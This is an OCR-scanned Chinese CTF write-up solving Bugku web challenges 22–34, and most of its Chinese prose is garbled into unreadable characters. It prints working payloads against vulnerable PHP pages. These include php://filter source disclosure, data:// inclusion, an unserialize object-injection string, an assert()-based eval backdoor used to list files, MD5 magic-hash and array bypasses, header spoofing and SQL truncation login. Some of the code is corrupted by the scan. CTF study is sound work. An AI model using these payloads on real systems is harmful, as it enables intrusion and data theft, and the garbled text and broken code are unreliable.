(R ANKIIE i FH RIAS TF SO ORI 45 R B A AL PE EHEEATEE%TWU ey, A
TRUEr L 2 R, e R AR, R E A ML BEAR TS s

-
&« C @ © 123.20687.240:8002/qiumingshan/ ol o @
L minE) ol B mmm

Give me value post about 446470443+1901545017+1263883848-940321811+381650448*245087873+1766600450-1182305607-953996211*573785008°422617195=?

python A

import requests
import re
url = 'http://123.206.87.240:8002/giumingshan/"

R = requests.session|()

g R.get (url)

page = re.findall (r'<div>( =\?;</div>", g.text) [0]
result = eval (page)

data = {'value': result}

flag = R.post (url, data=data)

print (flag.text)

JA B AT 7 ZE I IR, 4 RES1G 3 flag *_*
get flag:

Bugku{YOU DID IT BY SECOND}



22. EEER
Fr: AR
Topic Link: http://123.206.87.240:8002/web6/
R R
100

http://123.206.87.240:8002/webb&/

5 2 KEY Doooooooooonod

A UL A GRS

o © view-source:http://123.206.87.240:8002/web6/
L gxinE B xdanesss £ sEmbt

oo W ARG S </— 0K , now you have to post the margin what you find —>

IRYEIR 7 B POST 1 —4> margin, {HZ2AKIIE margin (R4, TRIT—
RO ER

Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex

GET /webb/ HITP/1.1 _A HITP/1.1 200 OK
Host: 123. 206. 87. 240:8002 Server: nginx
User-Agent: Nozilla/5.0 (Tindows NT 10.0: Winf4; x64; rv:61.0) Gecko/20100101 Date: Sun, 31 Mar 2019 12:24:14 GHT
Firefox/61.0 Content-Type: text/html;charset=utf-8
Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */#;q=0.8 Comnection: keep-alive
Accept-Language: zh-Cl, zh;q=0. 8 zh-TV;q=0. 7, zh-HK; ¢=0. 5, en-US; g=0. 3, en; q=0. 2 Keep-Alive: timeout=60
Accept-Encoding: gzip, deflate Expires: Thu, 19 Nov 1981 08:52:00 GHT
Cookie: PHPSESSID=r2m93333+ful73sivEhdt346g4lupeph Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Commection: keep-alive Prasma:_no-cache
Upgrade-Insecure-Requests: 1 flag: 6LeRBBGEEL+YELiNGZSZTTyl5TUZEL 2eZmehZ+TQpzogT 1IRneksqUXe=
Cache-Control: max-age=0 Comtent-Leangti &7
<S> fE R -- 0K the mar|

52 TR SR SC FLE IR flag, S base64 fRID BT G


http://123.206.87.240:8002/web6/

6LeR55qEGL+YSLINGZSZ77yMETuZ5 2eZmxhZ+WQpzogT1RnekSgUXo=

i || RRE R 5 R A6 H) B

F a9 N5, 45 1Rflagr®: 0TgzNjQz

WALIRZIZAE, KNHFARFEEASE AT . o o o ), WIS IEFIFER margin ()
ENIRR I AR P, 5548 margin PELZ flag, 43R PR IR IRSS 45 K H1E SR R BE flag 1)
HAEALL.

BERGREIA  #—E BOREE MR R session FAREE—IRIIEK flag 1)
HHA—FF

import requests

import base64

url = 'http://123.206.87.240:8002/web6/"'

#HEHF — Al

r = requests.session ()

#get TRILSIHER

get response = r.get (url)

#oytes.decode ("value") i byte R PIEIR AL str A WEHR

key = base64.bb64decode (bytes.decode (base64.b64decode (get response.headers['
flag'])) .split(":") [1])

#post: flag

post = {'margin': key}

post responese = r.post (url, data=post)

#ERIUT T N, "value . decode () 771K byte KA BHRH B st RALHIEIRE, DIk 5|
Ti AA—HE, BRER—FE

print (post responese.content.decode())

BATER



KEY{111dd62fcd377076bel8a}

Process finished with exit code 0

get flag:

KEY{111dd62£fcd377076bel8a}

23. cookies ¥ U

% ri: Cookie. base64 #ifid

Topic Link: http://123.206.87.240:8002/web11/ &%t KEY{XXXxxxxx}

cookies Ik
100

http://123.206.87.240:8002/web11/4- %4 &.: KEYDoooooookd

Flag Submit

dex.php?line=&filer 1?12\"9,,5('&»—“1 { \

® 123.206.87.240:8002/web11/i | [_I5+3

- —— — . 5 -! ]
a5 @ i s sl ""v\—}:7 '8 ——”

rfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrs

filename 4 base64 %ifi, HiiEE index.php XX, {HZGITEAIRS], %5 A< i5E
index.php 314

import requests

a=50

for i in range(a):

url="http://123.206.87.240:8002/webll/index.php?line="+str (i)+"&filenam
e=aW5kZXgucGhw"

s=requests.get (url)


http://123.206.87.240:8002/web11/%E7%AD%94%E6%A1%88%E6%A0%BC%E5%BC%8F%EF%BC%9AKEY%7Bxxxxxxxx%7D
http://123.206.87.240:8002/web11/%E7%AD%94%E6%A1%88%E6%A0%BC%E5%BC%8F%EF%BC%9AKEY%7Bxxxxxxxx%7D
http://123.206.87.240:8002/web11/%E7%AD%94%E6%A1%88%E6%A0%BC%E5%BC%8F%EF%BC%9AKEY%7Bxxxxxxxx%7D

print (s.text)

Result

<?php

error reporting(0);

S$file=base64 decode (isset (S _GET['filename'])?$ GET['filename']:"");

$line=isset (S_GET['line'])?intval($ GET['line']) :0;

if($file=="'") header ("location:index.php?line=&filename=a2V5cy50eHQ=") ;

Sfile list = array(

'0' =>'keys.txt',

'1'" =>'index.php',

if (isset ($_COOKIE['margin']) && $ COOKIE['margin']=="'margin') {

Sfile list[2]='keys.php';

if (in_array(Sfile, S$file list)){

Sfa = file(S$file);

echo $fa[$line];



>

AHD B T 7T R 75 AL 3
1. cookie: $_COOKIE['margin‘]=="margin’

2. filename=a2V5cy5waHA=

206.87.240:8002/web11/index.phpline=&filename=a2V5cy5waHA=
® 123.206.87.240:8002/web11/index.php?line=&fil 2V5cy5waHA [ON | { a

o o B ‘4 Cookie Editor - Create a Cookie Show Advanced

Name
margin
Value

margirq

FEE R RS flag

1P3 061874 A0:8002/WEDIRVit

@ view-source:http://123.206.87.240:8002/web11/index.php?line=&filename=a2V5cy5waHA=

.-

Mierms @ arres s B asa
<?php $key="KEY{key keys}’ ; 2>

get flag:

<?php Skey='KEY{key keys}'; 2>

24. never give up

% % eregi 0. RAFiT. basebd %, url %

Topic Link: http://123.206.87.240:8006/test/hel lo. php

never give up
100

http://123.206.87.240:8006/test/hello.php

Yedr. ek


http://123.206.87.240:8006/test/hello.php

TFER BRI RNAEE “1p.html”?  ZXF37
] http://123.206. 87. 240:8006/test/1p. htm|, 2PBk353| T H ¢
%, && 1p.html W IR

=

®, NIZAE @

<HTML>
<HEAD>
<SCRIPT LANGUAGE="Javascript">

<1--

var Words ="%3Cscr ipt%3Ewindow. location. href%3D%27http%3A//www. bugku. com%27%3B%3C/scr ipt%
3E%20%0A%3C%21——JT I yJTNCaWY IMjg IMJE IMjRFROVUJTVCJT 13aWQ IMjc INUQIMjk IMEEINOI IMEEIMD | oZWFkZ
X1 IMjgIMjdMb2NhdG I vb iUzQSUyMGh | bGxvLnBocCUzRm | k JTNEMSUyNyUyO0SUzQ i UwQSUwOWV4aXQ IMjg IMjk I MO
| IMEE INOQIMEE IMjRpZCUzRCUyNFHRVQ INUI IMjdpZCUyNyU1RCUZzQ i UwQSUyNGE [ MOQ IMjRfROVUJTVCJT I 3YSU
yNyU1RCUzQ i UwQSUyNG I IMOQ IMjRfROVUJTVCJT I 3Y i UyNyU1RCUzQi UwQW ImJT | 4c3RyaXBvcyUyOCUyNGE | MkM|
MjcudTI3JTI5JT I5JTBBJTACJTBBJTASZWNobyUyMCUYN25vdJT | wbm8 | M jBubyUyMG5vJT | wbm8 I M jBubyUyMG5vdJ
T13JTNCJTBBJTAScmVOdXJudT IwJTNCJTBBJTAEJTBBJIT | 0ZGFOYSUyMCUzRCUYMEBmaWx | X2d | dF9 jb250ZW50cy
UyOCUyNGE IMKkMIM jdyJT 13JTI5JTNCJTBBaWY IMjg IMjRkYXRhJTNEJTNEJT I yYnVna3UIMjBpcyUyMGE IM jBuaWiN
I JT IweGxhdGVmb3JtJT I xJT1yJTIwYWSkJT IwJT 10aWQ I MOQ I MOQwJT I wYWSKJT Iwec3RybGVuJT 1 4JT10Y i Uy0SUz
RTUIMjBhbmQ[M;jBIcmVnaSUyOCUyMExMSUyMi5zdWJzdHI IMjgIMjRi JTUDMCUyQzE IMjk IMkMIMj IXMTEOJT I yJ
TI5JTIwYW5kJT Iwe3Vic3RyJT14JT10YiUyQzA I MkMxJT I5JT I x JTNENCUyOSUwQSU3Q i UwQSUwOXJ | cXVpcmU I M j
g IMjJmNGwyYTNnLnR4dCUyMi Uy0SUzQ i UwQSUSRCUWQWVsc2U IMEE INO | IMEE I MD I wem | udCUyMCUyMm5 [ dmVyJT |
wbmV2ZX| IMjBuZXZ | ¢ i UyMGdpdmU I M jB1cCUyMCUyMSUyMSUyMSUyMi UzQ i UwQSU3RCUwQSUwQSUwQSUzR i UzRQ%3
D%3D—%3E"

function OutWord ()

{

var NewWords;

NewWords = unescape (Words) ;
document. wr i te (NewWords) ;
]

OutWord () ;

7] =

</SCRIPT>

</HEAD>

<BODY>

</BODY>

</HTML>
¥ Words 183t 4775

ur | AL



<{script>window. location. href="http://www. bugku. com' ;</script>

<I=—=JT1yJTNCaWY IMjgIM;EIMjRfROVUJTVCJT I3aWQ IMjc INUQIMjk IMEEINOI IMEEIMD | oZWFKZX1 IMjgIMjdMb
2NhdG 1 vb i UzQSUyMGh | bGxvLnBocCUzRm | k JTNEMSUyNyUyOSUzQ i UwQSUwWOWV4aXQ IM jg IM jk IMO | IMEE INOQ I ME
E IMjRpZCUzRCUyNF9HRVQINUI IMjdpZCUyNyU1RCUzQ i UwQSUYNGE IMOQ I M jRfROVUJTVCJT I 3YSUyNyU1RCUZzQ iU
wQSUyNG I IMOQ IMjRfROVUJTVCJT 13Y i UyNyU1RCUZQi UwQW ImJT I 4c3RyaXBvcyUyOCUyNGE IMKMIM jcudT13JT 15
JT15JTBBJTdCJTBBJTASZWNobyUyMCUyN25vJT I wbm8 IM jBubyUyMG5vJT | wbm8 IM jBubyUyMG5vJT | 3UTNCJTBBJ
TA5cmVOdXJudT IwJTNCJTBBJTAEJTBBJT 10ZGFOYSUyMCUzRCUyMEBmaWx | X2d | dF9 jb250ZW50cyUyOCUyNGE | Mk
MIMjdyJTI3JTISJTNCJTBBaWY IMjg IMjRkYXRhJTNEJTNEJT IyYnVna3UIMjBpcyUyMGE IMjBuaWN | JT IwcGxhdGV
mb3JtJTIxJT1yJTIwYWSkJT IwJT10aWQIMOQIMOQwJT IwYWSkJT Iwc3RybGVuJT14JT10Y iUyOSUZRTUIM jBhbmQ1
MjBlcmVnaSUyOCUyMjExMSUyMi5zdWJzdHI IMjg IMjRi JTUDMCUyQzE I Mjk IMKMIM I xMTEQJT IyJTI15JT IwYWSkJ
TIwc3Vic3RyJTI14JT10Y iUyQzA IMkMxJT 15JT I xJTNENCUyOSUwQSU3Q i UwQSUWOXJ I cXVpemU IMjg IM jJmNGwy YT
NnLnR4dCUyMiUy0SUzQ i UwQSU3RCUWQWVsc2U IMEE INO | IMEE IMD | wem | udCUyMCUyMm5 | dmVy JT IwbmV2ZX1 IMjB
uZXZ | ¢ iUyMGdpdmU IM jB1cCUyMCUyMSUyMSUyMSUyMi UzQ i UwQSU3RCUwWQSUwQSUwQSUzR i UzRQ==——>

baseb4 fi# L

"5 if(1$_GET['id'])

{
header ('Location: hello.php?id=1"');
exit(;

]

$id=$_GET['id'];

$a=$_GET['a'];

$b=$_GET['b'];

if(stripos($a,'. "))

{
echo 'no no no no no no no';
return ;

]

$data = @file_get_contents($a, 'r');

if ($data=="bugku is a nice plateform!” and $id==0 and strlen($b)>5 and eregi ("111". substr
($b,0,1), "1114") and substr (§b, 0, 1) !1=4)

{
require ("f412a3g. txt") ;

else

print "never never never give up !!!";



2>

RADFH LI EZHA: 1. if(I$_GET["id']) X ABRMSiId=0 // Bk FT EiaAT
VAF) B php 83 XA £5iT laaa ==> 0 & aaa==0 ==> ture

2. $data=="bugku is a nice plateform!" //#| A php £t
18

3. strlen($b)>5 and eregi ("111". substr ($b, 0, 1), "1114")
and substr ($b,0,1) =4 //FIH eregi () FH %00 £ B7 5 R 25iF $b=%00999999999

#13% payload:

http://123.206. 87. 240:8006/test/hel lo. php?id=aaa&a=data://, bugku%20is%20a%20nice%20platef
orm!&b=%00999999

get flag:

flag{tHis_iS_THe fLaG}

25. welcome to bugkuctf

% & php R FVRR, K%t

Topic Link: http://123.206.87.240:8006/test1/

welcome to bugkuctf
100

http://123.206.87.240:8006/test1/
154 pupil

T & R AXAD :

you are not the number of bugku !

Lll=
$user = § GET["txt"];
$file = $ GET["file"];

$pass = § GET["password"];

if(isset($user)&8& (file_get contents($user, 'r')==="welcome to the bugkuctf")) {
echo "hello admin!<br>";
include ($file); //hint.php

lelse{


http://123.206.87.240:8006/test1/

echo "you are not admin ! ";

-—>

KA F I RIE B HL—A 54 1. user WIHL M T "welcome to the bugkuctf"
HAEIT 7 include ($file); //hint.php 7 #i&#1¥ payload

payload1:

http://123.206. 87. 240:8006/test1/?txt=data://, welcome%20to%20the%20bugkuctf&fi le=php://fi

|ter/convert. base64—encode/resource=hint. php
I hint. php X4

PD9waHAg | AOK | GANCmNsYXNz | EZsYWd7Ly9mbGFnLnBocCAgDQog | CAgcHVibG| j I CRmaWx | 0yAgDQog | GAgcHVib
Gl j1GZ1bmNOaW9u | F9fdG9zdHJpbmcoKXsg | AOK 1 CAg | CAg1CBpZihpc3N|dCgkdGhpcy0+Zml sZSkpeyAgDQog|C
Ag|CAgICAgICBIY2hv IGZpbGVFZ2VOX2NvbnR IbnRzKCROaG | zL T5maWx | KTsgDQodJCQ | 1 Y2hv ICI8YnI+1 jsNCgk
JemV0dXJulCgiZ29vZC I pOwOK I CAg | CAg I CBY I CANC i Ag | CB9 | GANCnOg | AOKPz4g | A==

¥ IR B3] 49 basebd KALHTREE, FRIX hint. php AR AL

<{?php

class Flag{//flag. php
public $file;
public function _ tostring() {
if(isset($this—>file)) {
echo file_get contents ($this—>file);
echo "<br>";

return ("good");

}

}

>
payload?:

http://123.206. 87. 240:8006/test1/?txt=data://, welcome%20to%20the%20bugkuctf&file=php://fi

Iter/convert. baseb4—encode/resource=index. php
B index. php X4

PD9waHAg | AOKJHR4dCA9 | CRfROVUWyJOeHQ i XTsg | AOKJGZpbGUgPSAkXOdFVFs i Zml sZSJdOyAgDQokcGFzc3dve
mQgPSAkXOdFVFsicGFzc3dvemQiXTsg | AOK1CANCm ImKG | zc2VOKCROeHQpJ i YoZm| sZVInZXRFY29udGVudHMoJH
R4dCwnc i cpPT09 Ind | bGNvbWUgdG8gdGh | 1GJ1Z2t1Y3RmI i kpeyAgDQog | CAgZWNobyAi aGVsbG8gZnJpZW5k | Tx
icj4i0yAgDQoglCAgaWYocHJ I Z19tYXR jaCgilL2ZsYWcv | iwkZm|sZSkpeyANCgkJZWNobyAi5SLiN6109546w5Zyo



5bCx57uZ5L2gZmxhZ+WTpi | 7DQog | CAg1CAg | GV4aXQoKTsg | AOKICAgIH1 IbHNIeyAgDQog I CAg I CAglGluY2x1Z
GUoJGZpbGUpOyAg | AOK I CAg | CAg | CAkcGFzc3dvemQgPSB1bnNIcm|hbG I 6ZSgkcGF zc3dvemQpOyAgDQog I CAg I C
Ag1GVjaG8gJHBhc3N3b3Jk0yAgDQog | CAgfSAgDAp9ZWxzZXsg | AOKICAg GV jaG8g In|vdSBhcmUgbm90 | HRoZSB
udW1iZX1gb2YgYnVna3Ug|SAiOyAgDQp9 | CANCiAgDQo/PiAgDQog | AOKPCEtLSAgDQokdXN I ciA9 I CRFROVUWyJO
eHQiXTsg | AOKJGZpbGUgPSAKXOdFVFsiZmlsZSJdOyAgDQokcGF zcyA9 | CRFROVUWy JwYXNzd29yZCJdOyAgDQog |
AOKaWYoaXNzZXQoJHVzZX I pJiYoZm|sZVINZXRTY29udGVudHMoJHVZZX | sJ3 I nKTO9PSJ3ZWx jb21 | IHRv IHR0ZS
BidWdrdWNOZi | pKXsg | AOK1CAg GV jaG8g Imh IbGxv IGFkbWIul Txic j4i0yAgDQog | CAgaW5 jbHVkZSgkZm| sZSk
71C8vaGludC5waHAg | AOKfWVsc2V7 ICANCiAgICBIY2hv ICJ5b3UgYXJ | 1G5vdCBhZG1pb i AhlC171CANCnOg | AOK
ICOtPiAg

F 3k I 2 49 basebd KA B AT A%, FRIX index. php X 4R 5%
<?php
$txt = $_GET["txt"];
$file = $ GET["file"];

$password = $§ GET["password"];

if(isset($txt)&& (file _get contents ($txt, 'r')==="welcome to the bugkuctf")) {
echo "hello friend!<br>";
if (preg_match("/flag/",$file)) {
echo "TEEILAEF AR flag K"
exit(;
lelsef
include ($file);
$password = unserialize ($password) ;
echo $password;
}
lelsef

echo "you are not the number of bugku ! ";
>
-
$user = § GET["txt"];
$file = § GET["file"];

$pass = $§ GET["password"];

if(isset($user)&8& (file_get contents($user, 'r')==="welcome to the bugkuctf")) {



echo "hello admin!<br>";
include ($file); //hint.php
lelsef

echo "you are not admin ! ";

-—>
ARG T ka2 1. file YA AL LA flag F4F &
2. user W E LM% T "welcome to the bugkuctf"
3. password B9{A LA LT PG F 55 %
php BT P4 iR «
B A EMEEFTHEEANS A AREXDHEK "__toString()"
#| php BUF ZIA IR #E 4T H)3€ % 44 pay | oad

http://123.206. 87. 240:8006/test1/?txt=data://, welcome%20to%20the%20bugkuctf&file=hint. php
&password=0:4:%22F lag%22:1: {s:4:%22fi 1€%22;s:8:%22f | ag. php%22;}

Koo
hello friend!<br> <?php

//flag{php_is_the_best_language} 1

?><br>good

<I—
$user = § GET["txt"];
$file = § GET["file"];

$pass = $§ GET["password"];

if(isset($user)&&(file get contents ($user, 'r')==="welcome to the bugkuctf")) {
echo "hello admin!<br>";
include ($file); //hint.php

lelsef

echo "you are not admin ! ";

-
get flag:

flag{php_is_the_best_language}



26. THI—A)E

i AU

Topic Link: http://123.206.31.85:49162/

it 4 — 8 3%
100

http://123.206.87.240:8010/

FEEEKE~ L P4 E

<?php $poc="a#s#s#e#r#t"; $poc_l=explode("#" $poc);
$poc_2=%poc_1[0].$poc_1[1].3poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];
$poc_2($_GET['s']) 7>

Flag Submit

Phd
<?php
Spoc = "a#s#sHedr#t";

Spoc_1 = explode ("#", $poc);

Spoc_2 = Spoc_1[0] . $poc_1[1] . $poc_1[2] . Spoc 1[3] . Spoc 1[4] . $poc_ 1
[5];

Spoc 2($ GET['s'])

2>
RAGE T, JEGHIYST: assert() $UATF4FE s

payloadl: ZHCHHETH RS
http://123.206.87.240:8010/?s=print_r (scandir ($27./%27))
RIAFAERFIR A -

i) http://123.206.87.240:8010/f14g.txt #HF| flag 15 &

get flag:

BUGKU{bugku web 009801 a}


http://123.206.31.85:49162/

27. F/F? IEM?

% gl IEMJPLHS

Topic Link: http://123.206.87.240:8002/web10/

FHE? EM?
100

FA? EMN?

http://123.206.87.240:8002/web10/

Flag Submit

A
<?php
highlight file('2.php');
$key='KEY{********************************} ';

$IM= preg match("/key.*key.{4,7}key:\/.\/(.*key) [a-z] [[:punct:]]/i", trim
($_GET["id"]), Smatch) ;

if( SIM ) {
die('key is: '.Skey);
}
>
IER 534

"key": RIEXFFFH " key“ HEEITH

"o PLECER S \n” Z MR A TR . BILRLAIE \n" £ N KUEM T, MBS [\s\s]”HE
=

mes PLACHT ) T RIERF R K. B, zo*REILAC 27 AR N zoo”. *ZEMT{0, }

AVARRIE SV


http://123.206.87.240:8002/web10/

-z]: & a-z PIER—DFRF
[[:punct:]]: ULRHA—AF/H: 178836 () %+, -./1;<=>2@[\]*_"{|}~
/i BEEKNE
{4-7}: {n,m}, m M n BOYIERELY, Hd n<=m. HDILE n RHHZ LA m X

"/ B AT R TR BN R XTSI B\ AT
B, \n”lLEFR 07 S\\n”ILE—DMHATRF . FEFI\N\7ILEE\ 7T\ (7 W ILEE™ (7

#it payload

http://123.206.87.240:8002/webl10/?1id=key999key9999key:/9/99%eyy"

e N, 4Dy
{

123206872408002/wtb10/7|d key999key9999key:/9 ON K
KU “!ll..-_‘,, Aall" — 4/
<{?php
highlight file(’ 2.php’);
$key="KEY { }s
$IM= preg_match(”/key. *key. {4, T}key:\/. \/ (. *key) [a-z] [[:punct:]]/i”, trim($_GET["id”]), S$match);
if( $IM ) {

die(C key is: ’.S$key);
}
2> key is: KEY{0x0SIOPh550afc}

get flag:

key is: KEY{0x0SIOPh550afc}

AT % & (SKCTF)

# & MD5 . AR
Topic Link: http://123.206.31.85:49162/

Al % A (SKCTF)
100

http://123.206.31.85:49162/flag#s .:  SKCTFHooooo000000000000c}


http://123.206.31.85:49162/

BT, ABBZARAERZR, RALE, HAT.
ATANE, HAAMFTRTHGHEL: “Aa9? 7
FO0 & FFF, AR FA R R G SRR ERE . CEAT? HAEEEFRE?
CEA, LFHTMRERETD? " LEELHAL RN, AS A ERAE -
CEBAEERAL T A, AR —AEE,
RSB0y E3E B T BE3E, A& FRANCAATREFH, EF-REALOkL .
CRIBRMAT A, ZHARFLIA 7

RRES TR LR R 257 8% DA

PHP # % L 4509535

T & N & R
<html>
<head>

<title></title>
<{style type="text/css">
.link {
text—decoration: none;
color: #000;
}
. link:hover ({
text—decoration: none;
color: #000;
}
</style>
</head>
<body>
<div align="center">
>RFT, MERZAREALLRR, RALY, AAT.
>AETFAR, TREGFRT MK E: A7 7
<p>HEAEFH, 2B T A LR G KA G HF VE2T? AFRRIFR? 7
<pOVEA, RFRRRKRETD? "HRLALEAE, REA0MEFRE...

<p> “WREFZA...” HE, A k—/1<a class="link" href="code. txt" target="_blank">4%%
H</ad,

> B B 09 T ETT T 423, AAFR KRG SAATRFH, AF-—RRALSK. .. ..

<P o o 0 o o



<pOVREBRBAET H A, ELEFIA! 7
<POVNLIRAFMREG 2HiTo o 6 0 0 0 0 0 7
<h2>PHP & #- R b 474915 5</h2>
</div>

</body>

</html>
ARAER T B EEdE, 53] php KA
<{?php

if(isset (s GET['v1']) && isset($ GET['v2']) & isset($ GET['v3'])) {

$vl = $ GET['v1'];

$v2 = $ GET['v2'];

$v3 = $ GET['v3'];
if(Svl 1= $v2 8& md5(Svl) == md5($v2)) {
if(Istremp($v3, $flag)) {

echo $flag;

}
”

RAFFRINE ZHEHAEME: 1. if(isset($ GET['v1']) 8&& isset($ GET['v2']) &&
isset($ GET['v3'])) ==) TRUE

2. if($v1 1= $v2 && md5($v1) == md5($v2)) ==)
TRUE

#] ] MD5 47k F 44 % F= stromp () oF) K 7S 58 7R &b 32 #4403 47 44 3% payload
?v1=QNKCDZ0&v2=s1885207154a&v3[]1=11
#] Fl MD5 A= strcmp () o # f8 T &b 22 44 40 3 47 49 i% pay | oad

2v1[]1=13&v2[]=128&v3[]1=11

CRBRMEB T A, BASRFEANLT
CITILAFR T 51T 6 6 6 6 5 o o "
PHPZ # % F J 469355

SKCTF {Php_1s_tH3 B3St_L4NgUag3}

get flag:



SKCTF {Php_1s_tH3_B3St_L4NgUag3}

29. login1 (SKCTF)

F A AT R SAL Ak

Topic Link: http://123.206.31.85:49163/

Challenge 1806 Solves

login1(SKCTF)
100

http://123.206.31.85:49163/
flagis 21 SKCTF00000000000000000
hint:5QL%Y 255

Flag Submit

REEM—NRAFHITEEAA N EAE A 7R LT
EM
username: "123"

password: "aA123456"

5T
SKCTFEIRZRS
=33
FEEERAFEEfag? |
BPRE:
2.
Oigfem

EEKS A _A?
AAEETEZ T and A H 427~ SOL 29 R =&
#13% payload:

EM


http://123.206.31.85:49163/

//username ¥ = A4 % KT uesrname FRAAAY X EM (ZHHRAZ S — %, SL0055H
PARARMT) , LEiLIE MR A

username: "admin 0"
password: "aA123456"
BT

// BB B NEAR B 69 & "admin " J& [ username F
EALE unique FEIRH], "admin"="admintZ & " F B LT admin &9 FRH)

username: "admin

password: "aA123456"

SKCTFEERESR

b=
BPE:

admin

=18:

Uliettag

© SKCTFEEERS.

SKCTFERRR

SKCTF{4Dm1n_HaV3_GreAt_pOw3R]

HPE:

get flag:

SKCTF {4Dm1n_HaV3_GreAt_pOw3R}



30. RATFER

& HTTP 5 K

Topic Link: http://123.206.87.240:9009/from. php

(NS
100

http://123.206.87.240:9009/from.php

are you from google?

WIEN TP, H1& HTTP iF Kk, /740 Referer F#: Referer:

https://www. google. com
e A E

Request

Raw | Params | Headers | Hex

Response

Raw | Headers | Hex

GET /from php HITP/L.1

Host: 123.206.87. 240:9008]

Referer: https://www. google. com

User-Agent: Nozilla/5.0 (Windows NT 10.0; Winf4;, x64; rv:61.0) Gecko/20100101
Firefox/61.0

Accept: text/html, application/xhtml+sml, application/xml; q=0.9, %/, q=0.8
Accept-Language: zh-CHN, zh; q=0. 8, zh-TV; q=0. 7, zh-HE; ¢=0. 5, en-US; q=0. 3, en; q=0. 2
Accept-Encoding: gzip, deflate

Cookie: PHPSESSID=brii7lej3lngddrflka9mmlka96l 1pufs

Connection: keep-alive

Upgrade-Insecure-Requests: 1

Cache-Control : max-age=0

get flag:

flag{bug—ku_ai_admin}

31. md5 collision(NUPT_CTF)

% . php 593575

Topic Link: http://123.206.87.240:9009/md5.php

I

HITP/1. 1 200 OK

Server: nginx

Date: Sat, 16 Feb 2019 14:28:15 GNT
Content-Type: text/html

Commection: keep-alive

Keep-Alive: timeout=60
Content-Length: 21

flag {bug—ku_ai_admin}


http://123.206.87.240:9009/from.php
http://123.206.87.240:9009/md5.php

md5s collision(NUPT_CTF)
100

http://123.206.87.240:9009/md5.php

Flag Submit

\ © 123.206.87.240:9009/md5.php 150% oee 3

please input a

| ‘

RAEIRREANSEL a 02 Wk false, A H nlf5 MD5 filif#, 2%i{#4i& payload

1253 20065857 2400009 el ile

) ‘@ 123.206.87.240:9009/md5.php?a=s878926199% 150% - & W {}} {

flag{md5 collision _is_easy}

MDS5 Hilf % 41| %

QONKCDZO

0e830400451993494058024219903391

s878926199%a

0e545993274517709034328855841020



s155964671a

0e342768416822451524974117254469

s214587387a

0e848240448830537924465865611904

5214587387a

0e848240448830537924465865611904

s878926199%a

0e545993274517709034328855841020

s1091221200a

0e940624217856561557816327384675

s1885207154a

0e509367213418206700842008763514

get flag:

flag{md5 collision is easy}

32. EF R AR

& & HTTP i K

Topic Link: http://123.206.87.240:8002/|ocalhost/

A2 P A 9 ok
100

http://123.206.87.240:8002/localhost/
I B H |

AIEFE T AR KT B, & HTTP i Kk T d@y Ao £ F & X—Forwarded—For: 127.0.0.1
# Client—Ip: 127.0.0.1


http://123.206.87.240:8002/localhost/

Request

Raw | Params | Headers | Hex

Response

Raw | Headers | Hex

GET /localhost/ HITP/1.1 L] HITP/1.1 200 OK
Host: 123.206.87.240:8002 Server: nginx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64, x64; rv:61.0) Gecko/20100101 Date: Sat, 16 Feb 2019 15:55:33 GNT
Firefox/61.0 Content-Type: text/html; charset=utf-8
Accept: text/html, application/xhtml+xml, application/xml;q=0.9,#*/*: q=0. 8 Comection: keep-alive
Accept-Language: zh-Cl, zh; q=0. 8, zh-TW; q=0. 7, zh-HEK; ¢=0. 5, en-US; g=0. 3, en; ¢=0. 2 Keep-Alive: timeout=60
Accept-Encoding: gzip, deflate Content-Length: 20
Cookie: PHPSESSID=briiT7lej3Ingddrblkadnmlkad6l lpuf3
Commection: keep-alive flag {loc-al-h-o-st1}
Upgrade-Insecure-Requests: 1
Cache-Control: maz-age=0
[K-Forwarded-For: 127.0.0.1

Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex
GET /localhost/ HITP/1.1 . HITP/1. 1 200 OK

Host: 123.206. 87. 240:8002

User-Agent: Nozilla/5.0 (Findows NT 10.0; Winb4: x64: rv:61.0) Gecko/20100101
Firefox/61.0

Accept: text/html, application/zhtml+zml, application/zml;q=0.9,%/%;q=0.8
Accept-Language: zh-CN, zh;q=0. 8, zh-TW. g=0. 7, zh-HE; 9=0. 5, en-US; q=0. 3, en; q=0. 2
Accept-Encoding: gzip, deflate

Cookie: PHPSESSID=briiTle]j3Ingddrflkanmilzaf961 lputf3

Comnection: keep-alive

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

[lient-Ip: 127.0.0.1

get flag:

flag{loc—al-h-o-st1}

33. &M

& & K%+, shal ()

Topic Link: http://123.206. 87.240:8002/web7/

Server: nginx

Date: Sat, 16 Feb 2018 16:00:06 GNT
Content-Type: text/html; charset=utf-8
Comnection: keep-alive

Keep-Alive: timeout=60
Content-Length: 20

flag {loc-al-h-o-st1}

ik el

110

E AP S

http://123.206.87.240:8002/web7/

XA
<?php
highlight file('flag.php');
$ GET['id'] = urldecode($_GET['id']);

$flag = 'flag [xxxxxxxxxxxxxxxxxx} ' ;

if (isset(s GET['uname']) and isset($ POST['passwd'])) {

if ($ GET['uname'] == $ POST['passwd'])


http://123.206.87.240:8002/web7/

print 'passwd can not be uname.';

else if (shal(s GET['uname']) === shal($ POST['passwd'])&($ GET['id']=="margin
"))

die('Flag: '.$flag);

else

print ‘'sorry!';

}
”

RAFTEZHZ: 1. $ GET['uname'] != $ POST['passwd']

2. shal($_GET['uname']) === shal ($_POST['passwd']) //#| %
40 2%t

3. $ GET['id']=="margin")
IR shal () 7~ /e &b 32 %% 40 3% 47 #4932 pay | oad

http://123.206.87.240:8002/web7/?uname[]=999&id=margin

POST: passwd][]=6666
get flag:

Flag: flag{HACK 45hhs_213sDD}

34. web8

# & . php AL

Topic Link: http://123.206. 87. 240:8002/web8/



http://123.206.87.240:8002/web8/

web8
110

txt? 2 2 ?

http://123.206.87.240:8002/web8/

& JRA

<pnp

extract($ GET);
if (lempty($ac))
{

$f = trim(file get contents($fn));

if (sac === $f)

{

echo "<p>This is flag:" ." $flag</p>";
}

@LsR

{
echo "<p>sorry!</p>";
}
}

»
KA F I RINE ZHLIAN S 1. ac THREA T
2. $ac === $f
A A php A 1L: php://input #4Ji% payload

http://123.206.87.240:8002/web8/?ac=123&fn=php://input

POST: 123



